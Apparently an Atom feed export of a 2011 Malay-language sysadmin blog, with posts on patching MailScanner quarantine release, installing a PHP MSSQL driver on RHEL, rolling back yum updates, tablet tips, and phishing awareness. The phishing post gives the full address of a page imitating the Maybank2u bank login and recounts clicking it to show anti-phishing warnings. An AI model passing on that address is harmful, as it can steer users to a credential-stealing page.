/&gt;      $quarantined[$count]['type']  = ltrim(rtrim(`/usr/bin/file -bi $file`));&amp;nbsp;&lt;/span&gt;&lt;/pre&gt;&lt;pre class="file" style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/pre&gt;&lt;pre class="file" style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;keluarkan row (-) dan tambah row (+) berikut di lokasi berikut :&lt;br /&gt;&amp;nbsp;&lt;/span&gt;&lt;/pre&gt;&lt;blockquote&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;} else {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; // Use sendmail to release message&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; // We can only release message/rfc822 files in this way.&lt;br /&gt;-&amp;nbsp;&amp;nbsp; $cmd = QUARANTINE_SENDMAIL_PATH." -i -f ".QUARANTINE_FROM_ADDR." ".escapeshellarg($to)." &amp;lt; ";&lt;br /&gt;+&amp;nbsp;&amp;nbsp; // we will use mailfeeder to send the message to maintain state&lt;br /&gt;+&amp;nbsp;&amp;nbsp; //$cmd = QUARANTINE_SENDMAIL_PATH." -i -f ".QUARANTINE_FROM_ADDR." ".escapeshellarg($to)." &amp;lt; ";&lt;br /&gt;+&amp;nbsp;&amp;nbsp; $cmd = QUARANTINE_SENDMAIL_PATH." -S 127.0.0.1 -s ".QUARANTINE_FROM_ADDR." -r ".escapeshellarg($to)." -i ";&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; foreach($num as $key=&amp;gt;$val) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if(preg_match('/message\/rfc822/',$list[$val]['type'])) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; debug($cmd.$list[$val]['path']);&lt;/span&gt;&lt;/div&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;pre class="file" style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;* Pastikan anda setkan quarantine sender emel  :&lt;/span&gt;&lt;/pre&gt;&lt;pre class="file" style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;define(QUARANTINE_FROM_ADDR, 'spamadmin@spam.org.my');&lt;/span&gt;&lt;/pre&gt;&lt;pre class="file" style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre class="file" style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;b&gt;Restart MailScanner :&lt;/b&gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre class="file" style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;1) /etc/init.d/MailScanner restart&lt;/span&gt;&lt;/pre&gt;&lt;pre class="file" style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;2) Cuba gunakan fungsi release emel dalam mailwatch dan anda akan dapat lihat&amp;nbsp;&lt;/span&gt;&lt;/pre&gt;&lt;pre class="file" style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;dalam senarai emel masuk ianya telah direlease kepada pengguna asal dengan&amp;nbsp;&lt;/span&gt;&lt;/pre&gt;&lt;pre class="file" style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;menggunakan emel admin. Penerima emel akan lihat emel sender adalah dari emel&amp;nbsp;&lt;/span&gt;&lt;/pre&gt;&lt;pre class="file" style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;sebenar penghantar dan bukan emel admin.&lt;/span&gt;&lt;/pre&gt;&lt;pre class="file" style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/pre&gt;&lt;pre class="file" style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;Alhamdulillah akhirnya ianya berjaya dan mudah aku nak assign staff untuk handle&amp;nbsp;&lt;/span&gt;&lt;/pre&gt;&lt;pre class="file" style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;emel spam ni dengan lebih mudah.&lt;/span&gt;&lt;/pre&gt;&lt;pre class="file" style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/pre&gt;&lt;pre class="file" style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;Ilmu itu ada, cuma kita kena cari sesabarnya dan sebijaknya..&lt;/span&gt;&lt;/pre&gt;&lt;pre class="file" style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/pre&gt;&lt;pre class="file" style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;Jom cuba!&lt;/span&gt;&lt;/pre&gt;&lt;pre class="file" style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/pre&gt;&lt;div style="font-family: Verdana,sans-serif; text-align: justify;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif; text-align: justify;"&gt;&lt;span style="font-size: x-small;"&gt;~ Be a Creator Not a User ~&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/907989761847606873-4712874504318902743?l=muzzotechspot.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://muzzotechspot.blogspot.com/feeds/4712874504318902743/comments/default' title='Catat Ulasan'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=907989761847606873&amp;postID=4712874504318902743&amp;isPopup=true' title='0 Ulasan'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/907989761847606873/posts/default/4712874504318902743'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/907989761847606873/posts/default/4712874504318902743'/><link rel='alternate' type='text/html' href='http://muzzotechspot.blogspot.com/2011/06/how-to-release-accidentally-spam-mail.html' title='How to release accidentally spam mail in MailScanner to the recepient without the original message attached'/><author><name>muzzo</name><uri>http://www.blogger.com/profile/07681971727871823869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_Pk16G7RhVRE/SbZginnrT5I/AAAAAAAAATg/2z8zrwlSzzM/S220/muzzoshah.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/-yZWB2VsSmTg/Te2fMeRnXKI/AAAAAAAAAxo/kWv4lZpON_E/s72-c/rman1118l.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-907989761847606873.post-5281437395860923389</id><published>2011-06-07T11:17:00.000+08:00</published><updated>2011-06-07T11:17:10.269+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='CentOS'/><category scheme='http://www.blogger.com/atom/ns#' term='Database'/><title type='text'>How to setup MSSQL Driver to be used in Linux Web Application Server</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-V45R-a773Wo/Te2XF8JTLtI/AAAAAAAAAxk/uDguDOi83Zc/s1600/a_spider_web.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/-V45R-a773Wo/Te2XF8JTLtI/AAAAAAAAAxk/uDguDOi83Zc/s1600/a_spider_web.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;ketepi kau spider..aku rasa bersawang dah blog aku ni...hahaha..maaf la aku tk sempat sungguh nak update..ni pun kira short update je..sebab aku baru dapat resolve kaedah nak connect DB mssql dari web server linux. Dalam server tu ada application yang gunakan PHP dan memerlukan connect kepada database MSSQL. System owner ni punye la kata, dia test kat PC dia ok je..dah guna xampp semuanya boleh..tapi kalau nk setup dalam server LIVE Linux ni kena la tambah add-on tu sebab by default tak guna driver mssql..ingat never install everything yang tak perlu dalam server dan biarkan begitu sahaja. Mudah dikesan hackers untuk buat serangan..dan jangan guna XAMPP untuk live web server!!!..&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;OS : RHEL 5.x&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;PHP : 5.3.x&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;Langkahnya : &lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;1) Install unixODBC&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;wget http://rpm.pbone.net/index.php3/stat/3/srodzaj/2/search/unixODBC-2.2.11-7.1.src.rpm&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;2) Install unixODBC&lt;/span&gt;&lt;/div&gt;&lt;pre style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;code&gt;&lt;/code&gt;yum install unixODBC-2.2.11-7.1.src.rpm&lt;/span&gt;&lt;/pre&gt;&lt;pre style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/pre&gt;&lt;pre style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;3) Install FreeTDS :  &lt;/span&gt;&lt;/pre&gt;&lt;pre style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;yum install freetds freetds-devel --enablerepo=rpmforge&lt;/span&gt;&lt;/pre&gt;&lt;pre style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/pre&gt;&lt;pre style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;(pastikan repo rpmforge ada digunakan)&lt;/span&gt;&lt;/pre&gt;&lt;pre style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/pre&gt;&lt;pre style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;install rpmforge repo :&lt;/span&gt;&lt;/pre&gt;&lt;pre style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt; wget http://packages.sw.be/rpmforge-release/rpmforge-release-0.5.2-2.el5.rf.i386.rpm&lt;/span&gt;&lt;/pre&gt;&lt;pre style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt; rpm --import http://apt.sw.be/RPM-GPG-KEY.dag.txt&lt;/span&gt;&lt;/pre&gt;&lt;pre style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt; rpm -K rpmforge-release-0.5.2-2.el5.rf.*.rpm (sahkan rpm download tu betul atau tak)&lt;/span&gt;&lt;/pre&gt;&lt;pre style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt; yum install rpmforge-release-0.5.2-2.el5.rf.i386.rpm&lt;br /&gt;&lt;/span&gt;&lt;/pre&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;4) Install php-devel :&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt; yum install php-devel&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;5) Install php-mssql :&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;yum install php-mssql&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;6) Restart Apache :&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;/etc/init.d/httpd restart&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;7) Edit file php.ini dengan menambah line berikut :&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;extension = mssql.so&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;7) Done!. Now you can test your DB MSSQL Connection&lt;/span&gt;&lt;/div&gt;&lt;span style="font-size: x-small;"&gt;&lt;br style="font-family: Verdana,sans-serif;" /&gt;&lt;/span&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;~ Be a Creator Not a User ~&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/907989761847606873-5281437395860923389?l=muzzotechspot.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://muzzotechspot.blogspot.com/feeds/5281437395860923389/comments/default' title='Catat Ulasan'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=907989761847606873&amp;postID=5281437395860923389&amp;isPopup=true' title='0 Ulasan'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/907989761847606873/posts/default/5281437395860923389'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/907989761847606873/posts/default/5281437395860923389'/><link rel='alternate' type='text/html' href='http://muzzotechspot.blogspot.com/2011/06/how-to-setup-mssql-driver-to-be-used-in.html' title='How to setup MSSQL Driver to be used in Linux Web Application Server'/><author><name>muzzo</name><uri>http://www.blogger.com/profile/07681971727871823869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_Pk16G7RhVRE/SbZginnrT5I/AAAAAAAAATg/2z8zrwlSzzM/S220/muzzoshah.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/-V45R-a773Wo/Te2XF8JTLtI/AAAAAAAAAxk/uDguDOi83Zc/s72-c/a_spider_web.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-907989761847606873.post-4874810959688451655</id><published>2011-03-14T17:00:00.000+08:00</published><updated>2011-03-14T17:00:27.233+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='CentOS'/><category scheme='http://www.blogger.com/atom/ns#' term='Command Line'/><category scheme='http://www.blogger.com/atom/ns#' term='Open Source'/><category scheme='http://www.blogger.com/atom/ns#' term='Fedora'/><title type='text'>How to Rollback Yum Update</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="https://lh6.googleusercontent.com/--zob2sQPYOI/TX3ZI9VVewI/AAAAAAAAAxQ/1Z_Xstyf_wM/s1600/backup.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="240" src="https://lh6.googleusercontent.com/--zob2sQPYOI/TX3ZI9VVewI/AAAAAAAAAxQ/1Z_Xstyf_wM/s320/backup.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;Ringkas dan straight to the point. Berikut adalah kaedah untuk kita buat rollback (restore) semula kepada versi asal sebelum dilaksanakan 'yum update' :&lt;br /&gt;&lt;ol&gt;&lt;li&gt;Tambah &lt;b&gt;tsflags=repackage&lt;/b&gt; ke dalam fail /etc/yum.conf&lt;/li&gt;&lt;li&gt;Tambahkan &lt;b&gt;%_repackage_all_erasures 1&lt;/b&gt; ke dalam fail /etc/rpm/macros (Jika fail masih tiada, createkan fail baru dengan nama tersebut)&lt;/li&gt;&lt;li&gt;Install, erase, dan update menggunakan pup, pirut, yumex, yum, rpm, dan the yum automatic update service.&lt;/li&gt;&lt;li&gt;Kemudian anda rasa menyesal sebab versi tu tak compatible jadi nak rollback ke versi asal, anda kena gunakan rpm bersama --rollback. Setiap kali laksana yum, sebenarnya yang menjalankan proses instalasi dan update adalah command rpm. Contoh command rollback rpm :&lt;/li&gt;&lt;/ol&gt;&lt;ul&gt;&lt;li&gt;rpm -Uhv --rollback '9:00 am'&lt;/li&gt;&lt;li&gt; rpm -Uhv --rollback '4 hours ago'&lt;/li&gt;&lt;li&gt;rpm -Uhv --rollback 'december 25'&amp;nbsp;&lt;/li&gt;&lt;/ul&gt;* Ingat!!!...sebelum nak yum update, setting 2 fail tersebut terlebih dahulu. Setting ni laksana sekali sahaja.&lt;br /&gt;&lt;br /&gt;Semoga berjaya hendaknya..&lt;br /&gt;&lt;br /&gt;~ Be a Creator Not a User ~&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/907989761847606873-4874810959688451655?l=muzzotechspot.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://muzzotechspot.blogspot.com/feeds/4874810959688451655/comments/default' title='Catat Ulasan'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=907989761847606873&amp;postID=4874810959688451655&amp;isPopup=true' title='0 Ulasan'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/907989761847606873/posts/default/4874810959688451655'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/907989761847606873/posts/default/4874810959688451655'/><link rel='alternate' type='text/html' href='http://muzzotechspot.blogspot.com/2011/03/how-to-rollback-yum-update.html' title='How to Rollback Yum Update'/><author><name>muzzo</name><uri>http://www.blogger.com/profile/07681971727871823869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_Pk16G7RhVRE/SbZginnrT5I/AAAAAAAAATg/2z8zrwlSzzM/S220/muzzoshah.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='https://lh6.googleusercontent.com/--zob2sQPYOI/TX3ZI9VVewI/AAAAAAAAAxQ/1Z_Xstyf_wM/s72-c/backup.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-907989761847606873.post-2655122339806869788</id><published>2011-03-08T18:08:00.000+08:00</published><updated>2011-03-08T18:08:40.330+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Internet Explorer'/><category scheme='http://www.blogger.com/atom/ns#' term='Free'/><category scheme='http://www.blogger.com/atom/ns#' term='Internet'/><title type='text'>Phishing Website</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="https://lh3.googleusercontent.com/-JWnfbQzeTtA/TXYAGjIC7fI/AAAAAAAAAxM/kEPkyuLsZQo/s1600/phishing1.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="300" src="https://lh3.googleusercontent.com/-JWnfbQzeTtA/TXYAGjIC7fI/AAAAAAAAAxM/kEPkyuLsZQo/s320/phishing1.jpg" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Saje arini aku nak share aku ada terima emel spam berkenaan suh update akaun maybank2u. Aku memang dah tau site tu phishing tapi saje je jugak pi klik.&lt;br /&gt;&lt;br /&gt;Aku dah delete la pulak emel tu tadi..tk dapat nak tunjukkan screenshotnya.&lt;br /&gt;&lt;br /&gt;So sebelum aku klik tu aku dah prepare dah make sure antivirus SEP aku updated dan Firefox aku dah diinstall dengan DontPhishMe add-ons. Add ons tu orang malaysia sendiri yang buat, team mycert. Memang power ah group tu. Nak download guna add ons tu leh klik kat url ni :&lt;br /&gt;https://addons.mozilla.org/en-us/firefox/addon/dontphishme/&lt;br /&gt;&lt;br /&gt;Kalau guna IE tu biasanya kalau update patch kepada terkini dah ada juga phishing add-ons.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Tindakan nakal aku buat :&lt;br /&gt;&lt;br /&gt;1) Klik URL ni : https://www.medi-fix.com.my/mbb/m2u/common/M2ULogin.do&lt;br /&gt;2) So ia akan redirect ke page yang sebijik macam login page maybank2u&lt;br /&gt;3) Dengan adanya add ons DontPhishMe ni ia akan keluar pop-up sebegini :&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="https://lh3.googleusercontent.com/-HdIfml1vdnU/TXX_uSS8_AI/AAAAAAAAAw8/zY1YLZRPHMA/s1600/maybank-phish.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="119" src="https://lh3.googleusercontent.com/-HdIfml1vdnU/TXX_uSS8_AI/AAAAAAAAAw8/zY1YLZRPHMA/s320/maybank-phish.JPG" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;4) Seterusnya jika kita klik Cancel, ia akan keluarkan pop-up sekali lagi sebegini :&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="https://lh4.googleusercontent.com/-yiy6B7AjafA/TXX_vf5tNMI/AAAAAAAAAxI/BwTSI1CMe5A/s1600/maybank-phish2.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="100" src="https://lh4.googleusercontent.com/-yiy6B7AjafA/TXX_vf5tNMI/AAAAAAAAAxI/BwTSI1CMe5A/s320/maybank-phish2.JPG" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;5) Jika klik cancel juga memang degil sunggoh, maka masukla ke page tu. Anda sendiri tanggung risiko la sebab orang dah peringatkan.&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="https://lh3.googleusercontent.com/--c2zD07-Y0s/TXX_vEzBjII/AAAAAAAAAxE/aa1s86icvBE/s1600/maybank-phish3.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="228" src="https://lh3.googleusercontent.com/--c2zD07-Y0s/TXX_vEzBjII/AAAAAAAAAxE/aa1s86icvBE/s320/maybank-phish3.JPG" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;6) Untuk IE pulak bila aku klik URL tu tadi, ia akan keluar sebegini :&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="https://lh6.googleusercontent.com/-1KxdTOFnFgc/TXX_uqEm0FI/AAAAAAAAAxA/3ByDgjt8DGE/s1600/maybank-phish-MS.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="228" src="https://lh6.googleusercontent.com/-1KxdTOFnFgc/TXX_uqEm0FI/AAAAAAAAAxA/3ByDgjt8DGE/s320/maybank-phish-MS.JPG" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;So hati-hatilah dengan Phishing Website ni. Perhatikan betul-betul domain digunakan dan pastikan ada ikon mangga dibawah kanan browser atau berbeza ikut jenis browser. Any further info rujuk site ni : http://www.cybersafe.my/home.html&lt;br /&gt;&lt;br /&gt;Semoga berjaya!&lt;br /&gt;&lt;br /&gt;~ Be a Creator Not a User ~&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/907989761847606873-2655122339806869788?l=muzzotechspot.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://muzzotechspot.blogspot.com/feeds/2655122339806869788/comments/default' title='Catat Ulasan'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=907989761847606873&amp;postID=2655122339806869788&amp;isPopup=true' title='0 Ulasan'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/907989761847606873/posts/default/2655122339806869788'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/907989761847606873/posts/default/2655122339806869788'/><link rel='alternate' type='text/html' href='http://muzzotechspot.blogspot.com/2011/03/phishing-website.html' title='Phishing Website'/><author><name>muzzo</name><uri>http://www.blogger.com/profile/07681971727871823869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_Pk16G7RhVRE/SbZginnrT5I/AAAAAAAAATg/2z8zrwlSzzM/S220/muzzoshah.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='https://lh3.googleusercontent.com/-JWnfbQzeTtA/TXYAGjIC7fI/AAAAAAAAAxM/kEPkyuLsZQo/s72-c/phishing1.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-907989761847606873.post-3358528234579590977</id><published>2011-02-15T17:53:00.000+08:00</published><updated>2011-02-15T17:53:25.913+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Knowledge Share'/><title type='text'>How to Make Your Tablet PC Useful</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-a_69a1uuX1o/TVpM-A5KbpI/AAAAAAAAAwc/R6NSw_b_Plw/s1600/tablet-pc.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/-a_69a1uuX1o/TVpM-A5KbpI/AAAAAAAAAwc/R6NSw_b_Plw/s1600/tablet-pc.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Kali ni aku nak kongsi cara-cara nak jadikan tablet PC lebih berguna dan bukan sekadar membeli sahaja tapi tak tahu guna dengan sebaiknya. Macam kat ofis aku ada beli 2 IPad tapi cembiasa la utk golongan atasan. Sesapa saja leh guna tips ni...aku pun belum ada, in future mungkin aku akan beli satu..&lt;/div&gt;&lt;div style="text-align: justify;"&gt; &lt;/div&gt;&lt;div style="text-align: justify;"&gt;1) Simpan tablet PC dalam Beg&lt;/div&gt;&lt;div style="text-align: justify;"&gt;- Saiz yang kecil dan fleksibel membolehkan ia dibawa kemana saja dan sambil tunggu bas pun boleh guna tablet PC.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;2) Mudah bawa dalam Kerja&lt;/div&gt;&lt;div style="text-align: justify;"&gt;- Doktor leh guna tablet PC untuk semak carta kesihatan pesakit. Pelukis boleh lakar gambar di tablet PC dan boleh dicetak terus dengan lebih cepat. Peniaga boleh buat kiraan stok menerusi sistem stok barangan.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;3) Baca buku&lt;/div&gt;&lt;div style="text-align: justify;"&gt;- Guna tablet PC boleh gantikan buku novel yang tebal. Ianya mudah dibawa dan boleh dibaca dalam gelap sebab ada cahaya dari tablet PC. Tak perlu cahaya tambahan.Banyak sekarang e-Majalah, eBook dan dokumen PDF. Hanya muat turun dan baca pada bila-bila masa.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;4) Ikuti Berita&lt;/div&gt;&lt;div style="text-align: justify;"&gt;- Boleh baca surat khabar online sekarang ni. Tablet PC dengan jalur lebar lebih baik.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;5) Power Point / Impress&lt;/div&gt;&lt;div style="text-align: justify;"&gt;- Boleh sunting dan bina persembahan untuk tujuan kerja dengan lebih mudah. Jika ada fungsi VGA terus ke LCD Projektor pasti lagi mudah.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;6) Lakaran Kreativiti&lt;/div&gt;&lt;div style="text-align: justify;"&gt;- Memandangkan saiznya seperti buku tulis kecil, ada pen stylus bersamanya maka boleh melukis padanya dengan lebih mudah. Pelukis jalanan boleh cari makan guna ni. Terus sambung ke printer untuk cetakan.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;7) Ambil Nota&lt;/div&gt;&lt;div style="text-align: justify;"&gt;- Boleh dijadikan sebagai gantian buku nota. Dalam tablet PC ada 